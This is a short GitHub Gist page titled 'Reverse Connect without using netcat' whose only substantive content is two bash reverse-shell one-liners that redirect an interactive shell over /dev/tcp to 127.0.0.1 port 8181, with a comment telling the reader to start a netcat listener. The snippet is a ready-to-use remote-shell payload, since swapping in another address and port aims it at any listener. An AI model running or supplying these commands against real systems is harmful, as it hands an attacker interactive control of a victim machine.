Skip to content

Instantly share code, notes, and snippets.

@enderphan94
Created August 13, 2020 14:11
Show Gist options
  • Save enderphan94/3e49e67e7462d2852110e611b305f3b3 to your computer and use it in GitHub Desktop.
Save enderphan94/3e49e67e7462d2852110e611b305f3b3 to your computer and use it in GitHub Desktop.
Reverse Connect without using netcat
/bin/bash -c '/bin/bash -i > /dev/tcp/127.0.0.1/8181 0<&1 2>&1&'
# OR
/bin/bash -i >& /dev/tcp/127.0.0.1/8181 0>&1
#run `nc -vnlp 8181` on your local machine
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment